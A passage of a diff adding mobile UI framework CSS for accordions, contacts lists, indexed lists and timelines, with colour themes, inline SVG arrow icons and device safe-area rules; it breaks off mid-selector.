+.accordion-item-opened .accordion-item-toggle .item-inner:after, +.accordion-item-opened > .item-link .item-inner:after { + background-color: transparent; +} +.list li.accordion-item ul { + padding-right: 0; +} +.accordion-item-content { + position: relative; + overflow: hidden; + height: 0; + font-size: 14px; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; +} +.accordion-item-opened > .accordion-item-content { + height: auto; +} +html.device-android-4 .accordion-item-content { + -webkit-transform: none; + transform: none; +} +.md .list .accordion-item-toggle .item-inner { + padding-left: 42px; + background-repeat: no-repeat; + background-position: 16px center; +} +.md .list .accordion-item-toggle.active-state { + background-color: rgba(0, 0, 0, 0.1); +} +.md .list .accordion-item-toggle .item-inner, +.md .list:not(.media-list) .accordion-item:not(.media-item) .accordion-item-toggle .item-inner, +.md .list:not(.media-list) .accordion-item:not(.media-item) > .item-link .item-inner, +.md .media-list .accordion-item .accordion-item-toggle .item-title-row, +.md .media-list .accordion-item > .item-link .item-title-row, +.md .accordion-item.media-item .accordion-item-toggle .item-title-row, +.md .accordion-item.media-item > .item-link .item-title-row, +.md .links-list .accordion-item > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); + background-size: 13px 13px; +} +.md .list .accordion-item-toggle.accordion-item-opened .item-inner, +.md .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner, +.md .list:not(.media-list) .accordion-item-opened:not(.media-item) > .item-link .item-inner, +.md .media-list .accordion-item-opened .accordion-item-toggle .item-title-row, +.md .media-list .accordion-item-opened > .item-link .item-title-row, +.md .accordion-item-opened.media-item .accordion-item-toggle .item-title-row, +.md .accordion-item-opened.media-item > .item-link .item-title-row, +.md .links-list .accordion-item-opened > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(1.5%2C%206.5)%20rotate(-135)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.md .theme-dark .list .accordion-item-toggle .item-inner, +.md .theme-dark .list:not(.media-list) .accordion-item:not(.media-item) .accordion-item-toggle .item-inner, +.md .theme-dark .list:not(.media-list) .accordion-item:not(.media-item) > .item-link .item-inner, +.md .theme-dark .media-list .accordion-item .accordion-item-toggle .item-title-row, +.md .theme-dark .media-list .accordion-item > .item-link .item-title-row, +.md .theme-dark .accordion-item.media-item .accordion-item-toggle .item-title-row, +.md .theme-dark .accordion-item.media-item > .item-link .item-title-row, +.md .theme-dark .links-list .accordion-item > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.5%2C%206.5)%20rotate(-315)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +.md .theme-dark .list .accordion-item-toggle.accordion-item-opened .item-inner, +.md .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) .accordion-item-toggle .item-inner, +.md .theme-dark .list:not(.media-list) .accordion-item-opened:not(.media-item) > .item-link .item-inner, +.md .theme-dark .media-list .accordion-item-opened .accordion-item-toggle .item-title-row, +.md .theme-dark .media-list .accordion-item-opened > .item-link .item-title-row, +.md .theme-dark .accordion-item-opened.media-item .accordion-item-toggle .item-title-row, +.md .theme-dark .accordion-item-opened.media-item > .item-link .item-title-row, +.md .theme-dark .links-list .accordion-item-opened > a { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'13px'%20height%3D'8px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(1.5%2C%206.5)%20rotate(-135)%20translate(-10%2C%20-6.5)'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E"); +} +/* === Contacts === */ +.contacts-list .list-group:first-child ul:before { + display: none !important; +} +.contacts-list .list-group:last-child ul:after { + display: none !important; +} +.md .contacts-list { + margin: 0; +} +.md .contacts-list .list-group-title { + padding: 0 16px; + pointer-events: none; + background: none; + color: #2196f3; + font-weight: 500; + line-height: 48px; + height: 48px; + font-size: 20px; + overflow: visible; + width: 56px; +} +.md .contacts-list .list-group-title + li { + margin-top: -48px; +} +.md .contacts-list li:not(.list-group-title) { + padding-right: 56px; +} +.md .theme-dark .contacts-list .list-group-title { + color: #fff; +} +/* === Virtual List === */ +/* === Indexed List === */ +.list-index { + position: absolute; + top: 0; + bottom: 0; + right: 0; + text-align: center; + z-index: 10; + width: 16px; + cursor: pointer; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.list-index:before { + content: ''; + position: absolute; + width: 20px; + top: 0; + right: 100%; + height: 100%; +} +.list-index ul { + font-size: 11px; + font-weight: 600; + list-style: none; + margin: 0; + padding: 0; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + height: 100%; + width: 100%; + position: relative; +} +.list-index li { + margin: 0; + padding: 0; + list-style: none; + position: relative; + height: 14px; + line-height: 14px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + display: block; + width: 100%; +} +.list-index .list-index-skip-placeholder:after { + content: ''; + position: absolute; + left: 50%; + top: 50%; + border-radius: 50%; +} +.list-index .list-index-label { + position: absolute; + bottom: 0; + right: 100%; + text-align: center; + border-radius: 50%; + color: #fff; + font-weight: 500; +} +.md .list-index ul { + color: #2196f3; +} +.md .list-index .list-index-skip-placeholder:after { + content: ''; + width: 4px; + height: 4px; + margin-left: -2px; + margin-top: -2px; + background: #2196f3; +} +.md .list-index .list-index-label { + width: 56px; + height: 56px; + line-height: 56px; + border-radius: 50% 50% 0 50%; + background: #2196f3; + font-size: 20px; +} +.md .navbar ~ .list-index { + top: 56px; +} +@media (min-width: 768px) { + .md .navbar ~ .list-index { + top: 64px; + } +} +.md .navbar ~ .toolbar:not(.toolbar-bottom-md) ~ .list-index, +.md .navbar ~ .subnavbar ~ .list-index, +.md .page-with-subnavbar .navbar ~ .list-index { + top: 104px; +} +.md .navbar ~ .tabbar-labels:not(.toolbar-bottom-md) ~ .list-index { + top: 128px; +} +.md .toolbar-bottom-md ~ .page > .list-index, +.md .toolbar-bottom-md ~ * .page > .list-index, +.md .toolbar-bottom-md ~ * .page > .list-index { + bottom: 48px; +} +.md .tabbar-labels.toolbar-bottom-md ~ .page > .list-index, +.md .tabbar-labels.toolbar-bottom-md ~ * .page > .list-index, +.md .tabbar-labels.toolbar-bottom-md ~ .list-index { + bottom: 56px; +} +.md.device-iphone-x .toolbar-bottom-md ~ .page > .list-index, +.md.device-iphone-x .toolbar-bottom-md ~ * .page > .list-index, +.md.device-iphone-x .toolbar-bottom-md ~ * .page > .list-index { + bottom: calc(48px + constant(safe-area-inset-bottom)); + bottom: calc(48px + env(safe-area-inset-bottom)); +} +.md.device-iphone-x .tabbar-labels.toolbar-bottom-md ~ .page > .list-index, +.md.device-iphone-x .tabbar-labels.toolbar-bottom-md ~ * .page > .list-index, +.md.device-iphone-x .tabbar-labels.toolbar-bottom-md ~ .list-index { + bottom: calc(56px + constant(safe-area-inset-bottom)); + bottom: calc(56px + env(safe-area-inset-bottom)); +} +.md .color-theme-red .list-index ul, +.md .list-index.color-theme-red ul { + color: #f44336; +} +.md .color-theme-red .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-red .list-index-skip-placeholder:after, +.md .color-theme-red .list-index .list-index-label, +.md .list-index.color-theme-red .list-index-label { + background-color: #f44336; +} +.md .color-theme-green .list-index ul, +.md .list-index.color-theme-green ul { + color: #4caf50; +} +.md .color-theme-green .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-green .list-index-skip-placeholder:after, +.md .color-theme-green .list-index .list-index-label, +.md .list-index.color-theme-green .list-index-label { + background-color: #4caf50; +} +.md .color-theme-blue .list-index ul, +.md .list-index.color-theme-blue ul { + color: #2196f3; +} +.md .color-theme-blue .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-blue .list-index-skip-placeholder:after, +.md .color-theme-blue .list-index .list-index-label, +.md .list-index.color-theme-blue .list-index-label { + background-color: #2196f3; +} +.md .color-theme-pink .list-index ul, +.md .list-index.color-theme-pink ul { + color: #e91e63; +} +.md .color-theme-pink .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-pink .list-index-skip-placeholder:after, +.md .color-theme-pink .list-index .list-index-label, +.md .list-index.color-theme-pink .list-index-label { + background-color: #e91e63; +} +.md .color-theme-yellow .list-index ul, +.md .list-index.color-theme-yellow ul { + color: #ffeb3b; +} +.md .color-theme-yellow .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-yellow .list-index-skip-placeholder:after, +.md .color-theme-yellow .list-index .list-index-label, +.md .list-index.color-theme-yellow .list-index-label { + background-color: #ffeb3b; +} +.md .color-theme-orange .list-index ul, +.md .list-index.color-theme-orange ul { + color: #ff9800; +} +.md .color-theme-orange .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-orange .list-index-skip-placeholder:after, +.md .color-theme-orange .list-index .list-index-label, +.md .list-index.color-theme-orange .list-index-label { + background-color: #ff9800; +} +.md .color-theme-gray .list-index ul, +.md .list-index.color-theme-gray ul { + color: #9e9e9e; +} +.md .color-theme-gray .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-gray .list-index-skip-placeholder:after, +.md .color-theme-gray .list-index .list-index-label, +.md .list-index.color-theme-gray .list-index-label { + background-color: #9e9e9e; +} +.md .color-theme-white .list-index ul, +.md .list-index.color-theme-white ul { + color: #ffffff; +} +.md .color-theme-white .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-white .list-index-skip-placeholder:after, +.md .color-theme-white .list-index .list-index-label, +.md .list-index.color-theme-white .list-index-label { + background-color: #ffffff; +} +.md .color-theme-black .list-index ul, +.md .list-index.color-theme-black ul { + color: #000000; +} +.md .color-theme-black .list-index .list-index-skip-placeholder:after, +.md .list-index.color-theme-black .list-index-skip-placeholder:after, +.md .color-theme-black .list-index .list-index-label, +.md .list-index.color-theme-black .list-index-label { + background-color: #000000; +} +.md .list-index.color-red ul { + color: #f44336; +} +.md .list-index.color-red .list-index-skip-placeholder:after, +.md .list-index.color-red .list-index-label { + background-color: #f44336; +} +.md .list-index.color-green ul { + color: #4caf50; +} +.md .list-index.color-green .list-index-skip-placeholder:after, +.md .list-index.color-green .list-index-label { + background-color: #4caf50; +} +.md .list-index.color-blue ul { + color: #2196f3; +} +.md .list-index.color-blue .list-index-skip-placeholder:after, +.md .list-index.color-blue .list-index-label { + background-color: #2196f3; +} +.md .list-index.color-pink ul { + color: #e91e63; +} +.md .list-index.color-pink .list-index-skip-placeholder:after, +.md .list-index.color-pink .list-index-label { + background-color: #e91e63; +} +.md .list-index.color-yellow ul { + color: #ffeb3b; +} +.md .list-index.color-yellow .list-index-skip-placeholder:after, +.md .list-index.color-yellow .list-index-label { + background-color: #ffeb3b; +} +.md .list-index.color-orange ul { + color: #ff9800; +} +.md .list-index.color-orange .list-index-skip-placeholder:after, +.md .list-index.color-orange .list-index-label { + background-color: #ff9800; +} +.md .list-index.color-gray ul { + color: #9e9e9e; +} +.md .list-index.color-gray .list-index-skip-placeholder:after, +.md .list-index.color-gray .list-index-label { + background-color: #9e9e9e; +} +.md .list-index.color-white ul { + color: #ffffff; +} +.md .list-index.color-white .list-index-skip-placeholder:after, +.md .list-index.color-white .list-index-label { + background-color: #ffffff; +} +.md .list-index.color-black ul { + color: #000000; +} +.md .list-index.color-black .list-index-skip-placeholder:after, +.md .list-index.color-black .list-index-label { + background-color: #000000; +} +/* === Timeline === */ +.timeline { + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.block-strong .timeline { + padding: 0; + margin: 0; +} +.timeline-item { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; +} +.timeline-item-date { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + width: 50px; + text-align: right; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-item-date small { + font-size: 10px; +} +.timeline-item-content { + margin: 2px; + min-width: 0; + position: relative; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.timeline-item-content p:first-child, +.timeline-item-content ul:first-child, +.timeline-item-content ol:first-child, +.timeline-item-content h1:first-child, +.timeline-item-content h2:first-child, +.timeline-item-content h3:first-child, +.timeline-item-content h4:first-child { + margin-top: 0; +} +.timeline-item-content p:last-child, +.timeline-item-content ul:last-child, +.timeline-item-content ol:last-child, +.timeline-item-content h1:last-child, +.timeline-item-content h2:last-child, +.timeline-item-content h3:last-child, +.timeline-item-content h4:last-child { + margin-bottom: 0; +} +.timeline-item-inner { + background: #fff; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-item-inner .block { + padding: 0; + color: inherit; +} +.timeline-item-inner .block-strong { + padding-left: 0; + padding-right: 0; + margin: 0; +} +.timeline-item-inner .block-strong:before { + display: none !important; +} +.timeline-item-inner .block-strong:after { + display: none !important; +} +.timeline-item-inner .list ul:before { + display: none !important; +} +.timeline-item-inner .list ul:after { + display: none !important; +} +.timeline-item-divider { + width: 1px; + position: relative; + width: 10px; + height: 10px; + background: #bbb; + border-radius: 50%; + margin-top: 3px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.timeline-item-divider:after, +.timeline-item-divider:before { + content: ' '; + width: 1px; + height: 100vh; + position: absolute; + left: 50%; + background: inherit; + -webkit-transform: translate3d(-50%, 0, 0); + transform: translate3d(-50%, 0, 0); +} +.timeline-item-divider:after { + top: 100%; +} +.timeline-item-divider:before { + bottom: 100%; +} +.timeline-item:last-child .timeline-item-divider:after { + display: none; +} +.timeline-item:first-child .timeline-item-divider:before { + display: none; +} +.timeline-item-time { + font-size: 13px; +} +.timeline-item-time:first-child, +.timeline-item-time:last-child { + margin-top: 0; +} +.timeline-item-title + .timeline-item-time { + margin-top: 0; +} +.timeline-horizontal { + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.timeline-horizontal .timeline-item { + display: block; + width: 33.33333333vw; + margin: 0; + padding: 0; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + position: relative; + height: 100%; +} +.timeline-horizontal .timeline-item-date { + width: auto; + text-align: left; + line-height: 34px; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 34px; + text-align: right; +} +.timeline-horizontal .timeline-item-content { + overflow: auto; + -webkit-overflow-scrolling: touch; + margin: 0; +} +.timeline-horizontal .timeline-item-divider { + display: none; +} +.timeline-horizontal.col-100 .timeline-item { + width: 100vw; +} +.timeline-horizontal.col-95 .timeline-item { + width: 95vw; +} +.timeline-horizontal.col-90 .timeline-item { + width: 90vw; +} +.timeline-horizontal.col-85 .timeline-item { + width: 85vw; +} +.timeline-horizontal.col-80 .timeline-item { + width: 80vw; +} +.timeline-horizontal.col-75 .timeline-item { + width: 75vw; +} +.timeline-horizontal.col-70 .timeline-item { + width: 70vw; +} +.timeline-horizontal.col-66 .timeline-item { + width: 66.66666666666666vw; +} +.timeline-horizontal.col-65 .timeline-item { + width: 65vw; +} +.timeline-horizontal.col-60 .timeline-item { + width: 60vw; +} +.timeline-horizontal.col-55 .timeline-item { + width: 55vw; +} +.timeline-horizontal.col-50 .timeline-item { + width: 50vw; +} +.timeline-horizontal.col-45 .timeline-item { + width: 45vw; +} +.timeline-horizontal.col-40 .timeline-item { + width: 40vw; +} +.timeline-horizontal.col-35 .timeline-item { + width: 35vw; +} +.timeline-horizontal.col-33 .timeline-item { + width: 33.333333333333336vw; +} +.timeline-horizontal.col-30 .timeline-item { + width: 30vw; +} +.timeline-horizontal.col-25 .timeline-item { + width: 25vw; +} +.timeline-horizontal.col-20 .timeline-item { + width: 20vw; +} +.timeline-horizontal.col-15 .timeline-item { + width: 15vw; +} +.timeline-horizontal.col-10 .timeline-item { + width: 10vw; +} +.timeline-horizontal.col-5 .timeline-item { + width: 5vw; +} +@media (min-width: 768px) { + .timeline-horizontal.tablet-100 .timeline-item { + width: 100vw; + } + .timeline-horizontal.tablet-95 .timeline-item { + width: 95vw; + } + .timeline-horizontal.tablet-90 .timeline-item { + width: 90vw; + } + .timeline-horizontal.tablet-85 .timeline-item { + width: 85vw; + } + .timeline-horizontal.tablet-80 .timeline-item { + width: 80vw; + } + .timeline-horizontal.tablet-75 .timeline-item { + width: 75vw; + } + .timeline-horizontal.tablet-70 .timeline-item { + width: 70vw; + } + .timeline-horizontal.tablet-66 .timeline-item { + width: 66.66666666666666vw; + } + .timeline-horizontal.tablet-65 .timeline-item { + width: 65vw; + } + .timeline-horizontal.tablet-60 .timeline-item { + width: 60vw; + } + .timeline-horizontal.tablet-55 .timeline-item { + width: 55vw; + } + .timeline-horizontal.tablet-50 .timeline-item { + width: 50vw; + } + .timeline-horizontal.tablet-45 .timeline-item { + width: 45vw; + } + .timeline-horizontal.tablet-40 .timeline-item { + width: 40vw; + } + .timeline-horizontal.tablet-35 .timeline-item { + width: 35vw; + } + .timeline-horizontal.tablet-33 .timeline-item { + width: 33.333333333333336vw; + } + .timeline-horizontal.tablet-30 .timeline-item { + width: 30vw; + } + .timeline-horizontal.tablet-25 .timeline-item { + width: 25vw; + } + .timeline-horizontal.tablet-20 .timeline-item { + width: 20vw; + } + .timeline-horizontal.tablet-15 .timeline-item { + width: 15vw; + } + .timeline-horizontal.tablet-10 .timeline-item { + width: 10vw; + } + .timeline-horizontal.tablet-5 .timeline-item { + width: 5vw; + } +} +.timeline-horizontal .timeline-year, +.timeline-horizontal .timeline-month { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + padding-top: 24px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + height: 100%; +} +.timeline-horizontal .timeline-year-title, +.timeline-horizontal .timeline-month-title { + position: absolute; + left: 0; + top: 0; + width: 100%; + line-height: 24px; + height: 24px; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-horizontal .timeline-year-title span, +.timeline-horizontal .timeline-month-title span { + display: inline-block; + position: -webkit-sticky; + position: sticky; +} +.timeline-horizontal .timeline-year-title { + font-size: 16px; +} +.timeline-horizontal .timeline-month-title span { + margin-top: -2px; +} +/* === Timeline MD === */ +.md .timeline { + margin: 32px 0; + padding: 0 16px; +} +.md .block-strong .timeline { + padding: 0; + margin: 0; +} +.md .timeline-item { + padding: 2px 0px 16px; +} +.md .timeline-item:last-child { + padding-bottom: 2px; +} +.md .timeline-item-content .card, +.md .timeline-item-content.card, +.md .timeline-item-content .list, +.md .timeline-item-content.list, +.md .timeline-item-content .block, +.md .timeline-item-content.block { + margin: 0; + width: 100%; +} +.md .timeline-item-content .card + .card, +.md .timeline-item-content .list + .card, +.md .timeline-item-content .block + .card, +.md .timeline-item-content .card + .list, +.md .timeline-item-content .list + .list, +.md .timeline-item-content .block + .list, +.md .timeline-item-content .card + .block, +.md .timeline-item-content .list + .block, +.md .timeline-item-content .block + .block { + margin: 16px 0 0; +} +.md .timeline-item-inner { + border-radius: 2px; + padding: 8px 16px; + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +.md .timeline-item-inner + .timeline-item-inner { + margin-top: 16px; +} +.md .timeline-item-divider { + margin-left: 16px; + margin-right: 16px; +} +.md .timeline-item-time { + margin-top: 16px; + color: rgba(0, 0, 0, 0.54); +} +.md .timeline-item-time:first-child { + margin-top: 0; +} +.md .timeline-item-title { + font-size: 16px; +} +.md .timeline-sides .timeline-item { + margin-right: calc(50% - (32px + 10px) / 2 - 50px); + margin-left: 0; +} +.md .timeline-sides .timeline-item .timeline-item-date { + text-align: left; +} +.md .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-left: calc(50% - (32px + 10px) / 2 - 50px); + margin-right: 0; +} +.md .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date { + text-align: right; +} +.md .timeline-sides .timeline-item-left { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-left: calc(50% - (32px + 10px) / 2 - 50px); + margin-right: 0; +} +.md .timeline-sides .timeline-item-left .timeline-item-date { + text-align: right; +} +.md .timeline-sides .timeline-item-right { + margin-right: calc(50% - (32px + 10px) / 2 - 50px); + margin-left: 0; +} +.md .timeline-sides .timeline-item-right .timeline-item-date { + text-align: left; +} +@media (min-width: 768px) { + .md .tablet-sides .timeline-item { + margin-right: calc(50% - (32px + 10px) / 2 - 50px); + margin-left: 0; + } + .md .tablet-sides .timeline-item .timeline-item-date { + text-align: left; + } + .md .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-left: calc(50% - (32px + 10px) / 2 - 50px); + margin-right: 0; + } + .md .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date { + text-align: right; + } + .md .tablet-sides .timeline-item-left { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-left: calc(50% - (32px + 10px) / 2 - 50px); + margin-right: 0; + } + .md .tablet-sides .timeline-item-left .timeline-item-date { + text-align: right; + } + .md .tablet-sides .timeline-item-right { + margin-right: calc(50% - (32px + 10px) / 2 - 50px); + margin-left: 0; + } + .md .tablet-sides .timeline-item-right .timeline-item-date { + text-align: left; + } +} +.md .timeline-horizontal { + padding: 0; + margin: 0; + position: relative; +} +.md .timeline-horizontal .timeline-item { + padding-top: 34px !important; + padding-bottom: 12px; +} +.md .timeline-horizontal .timeline-item-date { + background: #2196f3; + padding: 0px 12px; + color: #fff; +} +.md .timeline-horizontal .timeline-item-date:after { + content: ''; + position: absolute; + right: 0; + width: 100%; + top: 100%; + bottom: auto; + height: 10px; + pointer-events: none; + background: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.3)), color-stop(40%, rgba(0, 0, 0, 0.1)), color-stop(50%, rgba(0, 0, 0, 0.05)), color-stop(80%, rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0))); + background: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); + background: linear-gradient(to bottom, rgba(0, 0, 0, 0.3) 0%, rgba(0, 0, 0, 0.1) 40%, rgba(0, 0, 0, 0.05) 50%, rgba(0, 0, 0, 0) 80%, rgba(0, 0, 0, 0) 100%); +} +.md .timeline-horizontal .timeline-item-content { + padding: 12px; + height: calc(100% - 12px); +} +.md .timeline-horizontal.no-shadow .timeline-item-date:after { + display: none; +} +.md .timeline-horizontal .timeline-item:after { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: 0; + bottom: auto; + left: auto; + width: 1px; + height: 100%; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50%; +} +.md.device-pixel-ratio-2 .timeline-horizontal .timeline-item:after { + -webkit-transform: scaleX(0.5); + transform: scaleX(0.5); +} +.md.device-pixel-ratio-3 .timeline-horizontal .timeline-item:after { + -webkit-transform: scaleX(0.33); + transform: scaleX(0.33); +} +.md .timeline-horizontal .timeline-item:before { + content: ''; + position: absolute; + background-color: rgba(0, 0, 0, 0.12); + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.md.device-pixel-ratio-2 .timeline-horizontal .timeline-item:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.md.device-pixel-ratio-3 .timeline-horizontal .timeline-item:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.md .timeline-year-title, +.md .timeline-month-title { + padding: 0 12px; + color: #fff; + background: #2196f3; +} +.md .timeline-year-title span, +.md .timeline-month-title span { + right: 12px; +} +.md .timeline-year-title span { + margin-top: 2px; +} +@media (orientation: landscape) { + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span { + left: calc(12px + constant(safe-area-inset-left)); + left: calc(12px + env(safe-area-inset-left)); + } + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .md.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .md.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + 